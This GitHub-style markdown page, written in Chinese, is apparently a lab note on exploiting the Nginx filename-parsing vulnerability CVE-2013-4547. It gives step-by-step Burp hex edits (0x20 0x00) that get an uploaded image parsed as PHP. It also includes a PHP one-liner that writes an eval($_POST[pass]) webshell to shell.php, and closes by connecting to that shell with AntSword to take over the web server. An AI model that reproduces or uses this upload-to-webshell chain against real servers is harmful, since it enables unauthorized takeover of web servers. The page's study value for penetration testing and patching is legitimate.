Skip to content

Latest commit

 

History

History
54 lines (26 loc) · 2.14 KB

Nginx 文件名逻辑漏洞-CVE-2013-4547.md

File metadata and controls

54 lines (26 loc) · 2.14 KB

Nginx 文件名逻辑漏洞(CVE-2013-4547)

Nginx-0.8.41-1.4.3和1.5.7之前的1.5x允许远程攻击者通过Url中的未转义空格字符来实现绕过

影响版本:

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

上传一个图片格式的木马文件名称为abc.jpg,内容是被burp拦截后发现在文件名后加两个空格,上传成功

![104fdfb21ab8458cab799c473ed1846](C:\Users\雷神\AppData\Local\Temp\WeChat Files\104fdfb21ab8458cab799c473ed1846.png)

构造abc.jpg .php 来造成nginx解析漏洞是我们的abc.jpg解析成php格式,访问

先上传abc.jpg .php文件,注意jpg后面有两个空格

然后在burp中抓数据包将abc.jpg的Hex值后面的两个空格 [0x20][0x20] ---> [0x20][0x00]发现上传成功![ecd2b1d075b370c318678abcbd338b9](C:\Users\雷神\AppData\Local\Temp\WeChat Files\ecd2b1d075b370c318678abcbd338b9.png)

访问http://xxx/uploadfiles/abc.jpg .php

空格会被编码,在brup中手动改为abc.jpg .php

最后把访问abc.jpg的hex值两个空格改为[0x20][0x20] ---> [0x20][0x00] ,发现成功访问文件

![a5e37de179a0a1212aaa84bc9c47bb1](C:\Users\雷神\AppData\Local\Temp\WeChat Files\a5e37de179a0a1212aaa84bc9c47bb1.png)

![204d077a04d39de20ade93b18ae6649](C:\Users\雷神\AppData\Local\Temp\WeChat Files\204d077a04d39de20ade93b18ae6649.png)

漏洞利用

因为浏览器打不了\0,所以要更换思路去getshell

上传文件时,利用php的system函数去构建文件

getshell.gif[0x20][0x00].php文件

一句话:

<?php system('echo "<?php @eval(\$_POST[pass]);?>" >shell.php')?>

image-20220419093246110

然后利用burp修改hex,访问getshell.gif[0x20][0x00].php,访问过后将会在当前文件下生成shell.php

然后利用蚂剑连接将可以获取web服务器权限

在这里插入图片描述